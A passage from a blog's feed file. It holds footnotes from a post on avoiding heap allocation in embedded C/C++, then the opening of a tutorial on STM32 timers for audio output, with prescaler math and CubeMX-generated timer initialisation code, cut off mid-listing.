&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Even if you don’t use it directly, it’s still there. Most garbage-collected languages (think Java, JS, Python) will allocate primitives on the stack, and all other objects on a heap. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Also, the C standard library rarely depends on dynamic allocation; except maybe for file IO. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Sure, &lt;code&gt;std&lt;/code&gt; containers allow custom allocators, and that can be a topic for an entire series of posts... but it also means additional indirection, whether at compile-time or runtime. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;And if your function uses multiple statically-allocated variables, the allocation will be combined into one &lt;em&gt;giant&lt;/em&gt; stack subtraction. You can thank your compiler for this. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;What&#39;s the right balance of maintainability? Is it worth sacrificing maintainability for performance? &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;The distinction between &lt;em&gt;want&lt;/em&gt; and &lt;em&gt;need&lt;/em&gt; is small, but IMO important when programming for embedded systems. Sometimes, we may &lt;em&gt;want&lt;/em&gt; to use the heap, but it&#39;s not needed. Very rarely, we may &lt;em&gt;need&lt;/em&gt; the flexibility of the heap since the benefits outweigh the costs. &lt;a href=&quot;https://trebledj.me/posts/dynamic-memory-embedded-bad/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>embedded</category>
        
          <category>c</category>
        
          <category>cpp</category>
        
          <category>tutorial</category>
        
          <category>software-engineering</category>
        
          <category>performance</category>
        
          <category>notes</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Digital Audio Synthesis for Dummies: Part 3</title>
        <description>Efficiently streaming audio to speakers on embedded systems (with examples in STM32).</description>
        <link href="https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/"/>
        <updated>2023-05-24T00:00:00Z</updated>
        <id>https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/</id>
        <content xml:lang="en" type="html">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Slap a timer, DMA, and DAC together, and BAM—non-blocking audio output!&lt;/em&gt;&lt;br /&gt;
— TrebledJ, &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard/&quot;&gt;2022&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ah… embedded systems—the intersection of robust hardware and versatile software.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Most embedded audio applications employ timers, DMA, and double buffering for great good!&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-500w.webp&quot;&gt;&lt;img class=&quot;rw float-right m-1 jw-40&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 604&quot; alt=&quot;Most embedded audio applications employ timers, DMA, and double buffering for great good!&quot; title=&quot;Most embedded audio applications employ timers, DMA, and double buffering for great good!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/round-table-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This is the third (and culminating) post in a series on &lt;a href=&quot;https://trebledj.me/tags/audio-synthesis-for-dummies/&quot;&gt;digital audio synthesis&lt;/a&gt;; but the first (and only?) post touching embedded hardware. In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1&quot;&gt;first post&lt;/a&gt;, we introduced basic concepts on audio processing. In the &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-2&quot;&gt;second post&lt;/a&gt;, we dived into audio synthesis and generation. In this post, we’ll discover how to effectively implement an audio synthesiser and player on an embedded device by marrying hardware (timers, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Digital-to-Analogue Converters; explained later!&quot;&gt;DACs&lt;/abbr&gt;, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Direct Memory Access; explained later!&quot;&gt;DMA&lt;/abbr&gt;) and software (double buffering plus other optimisations).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;To understand these concepts even better, we’ll look at examples on an &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;A family of 32-bit microcontrollers.&quot;&gt;STM32&lt;/abbr&gt;. These examples are inspired from a &lt;a href=&quot;https://trebledj.me/posts/stm32-midi-keyboard&quot;&gt;MIDI keyboard project&lt;/a&gt; I previously worked on.
I&#39;ll be using an STM32F405RGT board in the examples. If you plan to follow along with your own board, make sure it&#39;s capable of timer-triggered DMA and DAC. An oscilloscope would also be handy for checking DAC output.&lt;/p&gt;
&lt;div class=&quot;alert alert-secondary d-flex align-items-start&quot;&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This post is much longer than I expected. My suggested approach of reading is to first gain a high-level understanding (possibly skipping the nitty gritty examples), then dig into the examples for details.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;timers&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#timers&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Timers ⏰&lt;/h2&gt;
&lt;p&gt;It turns out kitchens and embedded systems aren’t that different after all! Both perform input and output, and both have timers! Who knew?&lt;/p&gt;
&lt;!-- Tick-Tock Croc, perhaps.^[I think it&#39;s safe to say that Tick-Tock Croc also performs input-output and has a timer between his eyes. So Tick-Tock isn&#39;t too different from a kitchen! Or an embedded controller, for that matter.] --&gt;
&lt;!-- &lt;a class=&quot;lightbox-single&quot; title=&quot;Tick tock likey embedded timers?&quot; href=&quot;/img/posts/programming/digital-audio-synthesis/assets/tick-tock-600w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-55&quot; src=&quot;/img/posts/programming/digital-audio-synthesis/assets/tick-tock-600w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 600 / 450&quot; alt=&quot;Meme with tick tock croc from Peter Pan preferring embedded timers over kitchen timers.&quot; title=&quot;Tick tock likey embedded timers?&quot; srcset=&quot;/img/posts/programming/digital-audio-synthesis/assets/tick-tock-256w.webp 256w, /img/posts/programming/digital-audio-synthesis/assets/tick-tock-512w.webp 512w, /img/posts/programming/digital-audio-synthesis/assets/tick-tock-600w.webp 600w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 600px&quot; /&gt;&lt;/a&gt; --&gt;
&lt;!-- &lt;br/&gt;   --&gt;
&lt;h3 id=&quot;tick-tock&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#tick-tock&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Tick Tock&lt;/h3&gt;
&lt;p&gt;Timers in embedded systems are similar to those in the kitchen: they tick for a period of time and signal an event when finished. However, embedded timers are much fancier than kitchen timers, making them immensely useful in various applications. They can trigger repeatedly (via auto-reload), count up/down, and be used to generate rectangular (PWM) waves.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Timers can be used to count at regular intervals.&quot; href=&quot;https://trebledj.me/img/timer-548w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/timer-548w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 548 / 306&quot; alt=&quot;Timers can be used to count at regular intervals.&quot; title=&quot;Timers can be used to count at regular intervals.&quot; srcset=&quot;https://trebledj.me/img/timer-256w.webp 256w, https://trebledj.me/img/timer-512w.webp 512w, https://trebledj.me/img/timer-548w.webp 548w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 548px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Timers have various applications, such as to count signals. (Source: EmbeddedTutor&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;So what makes timers tick?&lt;/p&gt;
&lt;p&gt;The &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Microcontroller Unit. No, not the Marvel Cinematic Universe!&quot;&gt;MCU&lt;/abbr&gt; clock!&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The MCU clock is the &lt;em&gt;backbone&lt;/em&gt; of a controller. It controls the processing speed and pretty much everything!—timers, ADC, DAC, communication protocols, and whatnot. The signal itself is generated by an oscillator, typically a Quartz &lt;a href=&quot;https://www.electronics-tutorials.ws/oscillator/crystal.html&quot;&gt;crystal oscillator&lt;/a&gt; which is capable of generating high, stable, self-sustaining frequencies.&lt;/p&gt;
&lt;p&gt;The clock runs at a fixed frequency (168MHz on our board).
By dividing against it, we can achieve lower frequencies.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/prescaler-420w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/prescaler-420w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 420 / 119&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/prescaler-256w.webp 256w, https://trebledj.me/img/prescaler-420w.webp 420w&quot; sizes=&quot;(max-width: 256px) 256px, 420px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;By using different prescalers, we can scale down the frequency according to our needs. (Source: EmbeddedTutor&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn2&quot; id=&quot;fnref2:1&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The following diagram illustrates how the clock signal is divided on an STM. There are two divisors: the prescaler and auto-reload (aka counter period).&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Timing diagram of timer signal derived from a clock signal. We begin with the clock signal, which is divided at multiple points: first divided by the prescaler, then by the auto-reload.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-1024w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-1024w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1024 / 487&quot; alt=&quot;Timing diagram of timer signal derived from a clock signal. We begin with the clock signal, which is divided at multiple points: first divided by the prescaler, then by the auto-reload.&quot; title=&quot;Timing diagram of timer signal derived from a clock signal. We begin with the clock signal, which is divided at multiple points: first divided by the prescaler, then by the auto-reload.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/timing-diagram-1024w.webp 1024w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1024px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;How a timer frequency is derived from the clock signal. (Diagram adapted from uPesy.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Here, the clock signal is first divided by a prescaler of 2, then further &amp;quot;divided&amp;quot; by an auto-reload of 6. On every overflow (arrow shooting up), the timer triggers an &lt;em&gt;interrupt&lt;/em&gt;. In this case, the timer runs at $&#92;frac{1}{12}$ the speed of the clock.&lt;/p&gt;
&lt;p&gt;These interrupts can trigger functionality such as DMA transfers (explored later) and ADC conversions.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;
Heck, they can even be used to trigger other timers!&lt;/p&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.upesy.com/blogs/tutorials/how-works-timers-in-micro-controllers&quot;&gt;How do microcontroller timers work?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digikey.com/en/maker/projects/getting-started-with-stm32-timers-and-timer-interrupts/d08e6493cefa486fb1e79c43c0b08cc6&quot;&gt;Getting Started with STM32: Timers and Timer Interrupts&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;There are more prescalers behind the scenes! (APB2)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-initialising-the-timer&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#example-initialising-the-timer&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Example: Initialising the Timer&lt;/h3&gt;
&lt;p&gt;Suppose we want to send a stream of audio output. We can use a timer with a frequency set to our desired &lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-1/#sampling&quot;&gt;sample rate&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can derive the prescaler (PSC) and auto-reload (ARR) by finding integer factors that satisfy the following relationship.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;timer-relationship&quot;&gt;&lt;/a&gt;
$$
&#92;text{freq}_&#92;text{timer} = &#92;frac{&#92;text{freq}_&#92;text{clock}}{(&#92;text{PSC} + 1) &#92;times (&#92;text{ARR} + 1)}
$$&lt;/p&gt;
&lt;p&gt;where $&#92;text{freq}_&#92;text{timer}$ is the timer frequency (or specifically in our case, the sample rate), $&#92;text{freq}_&#92;text{clock}$ is the clock frequency.&lt;/p&gt;
&lt;p&gt;On our STM32F405, we configured $&#92;text{freq}_&#92;text{clock}$ to the maximum possible speed: 168MHz. If we’re aiming for an output sample rate of 42,000Hz, we’d need to divide our clock signal by 4,000, so that we correctly get $&#92;frac{168,000,000}{4,000} = 42,&#92;!000$. For now, we’ll choose register values of &lt;code&gt;PSC = 0&lt;/code&gt; and &lt;code&gt;ARR = 3999&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Why do we add $+1$ to the PSC and ARR in the relationship above?&lt;/p&gt;
&lt;p&gt;On the STM32F4, PSC and ARR are 16-bit &lt;em&gt;registers&lt;/em&gt;, meaning they range from 0 to 65,535.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;
To save space and enhance program correctness, we assign meaningful behaviour to the value 0.&lt;/p&gt;
&lt;p&gt;So in this page, when we say &lt;code&gt;PSC = 0&lt;/code&gt;, we actually mean a prescaler divisor of 1.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Why &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;3999&lt;/code&gt; specifically?&lt;/p&gt;
&lt;p&gt;Other pairs of PSC and ARR can also work. We can &lt;em&gt;choose&lt;/em&gt; any PSC and ARR which get us to our desired timer frequency. Play around and try different pairs of PSC and ARR!&lt;/p&gt;
&lt;p&gt;Exercises for the reader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is the difference between different pairs, such as &lt;code&gt;PSC = 0&lt;/code&gt;, &lt;code&gt;ARR = 3999&lt;/code&gt; vs. &lt;code&gt;PSC = 1&lt;/code&gt;, &lt;code&gt;ARR = 1999&lt;/code&gt;? (Hint: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;counter&lt;/span&gt;.)&lt;/li&gt;
&lt;li&gt;Is there a PSC/ARR pair that is &amp;quot;better&amp;quot;?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can use &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;a GUI for configuring STM hardware&quot;&gt;STM32 CubeMX&lt;/abbr&gt; to initialise timer parameters. CubeMX allows us to generate code from these options, handling the conundrum of modifying the appropriate registers.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Timer settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-2278w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-85&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-2278w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2278 / 1288&quot; alt=&quot;Timer settings from CubeMX.&quot; title=&quot;Timer settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-1-2278w.webp 2278w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2278px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;In CubeMX, we first select a timer on the left. We then enable a channel (here Channel 4) to generate PWM.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn7&quot; id=&quot;fnref7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; We also set the prescaler and auto-reload so that our timer frequency is 42,000Hz.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;More timer settings from CubeMX.&quot; href=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1716w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1716w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1716 / 784&quot; alt=&quot;More timer settings from CubeMX.&quot; title=&quot;More timer settings from CubeMX.&quot; srcset=&quot;https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-256w.webp 256w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-512w.webp 512w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1024w.webp 1024w, https://trebledj.me/img/posts/programming/digital-audio-synthesis/assets/stm32-cubemx-timer-2-raw-1716w.webp 1716w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1716px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Some other settings in CubeMX to check.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Remember to generate code once done.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/digital-audio-synthesis-for-dummies-part-3/#fn9&quot; id=&quot;fnref9&quot;&gt;9&lt;/a&gt;&lt;/sup&gt; CubeMX should generate the following code in &lt;code&gt;main.c&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;MX_TIM8_Init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Initialise structs. --snip--&lt;/span&gt;

    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Instance               &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM8&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Prescaler         &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CounterMode       &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM_COUNTERMODE_UP&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Period            &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ClockDivision     &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM_CLOCKDIVISION_DIV1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;RepetitionCounter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    htim8&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Init&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;AutoReloadPreload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TIM_AUTORELOAD_PRELOAD_DISABLE&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_TIM_Base_Init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_OK&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;Error_Handler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Initialise the clock source. --snip--&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;HAL_TIM_PWM_Init&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; HAL_OK&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;Error_Handler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;// --snip-- Initialise other things. --snip--&lt;/span&gt;
    
    &lt;span class=&quot;token function&quot;&gt;HAL_TIM_MspPostInit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;htim8&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
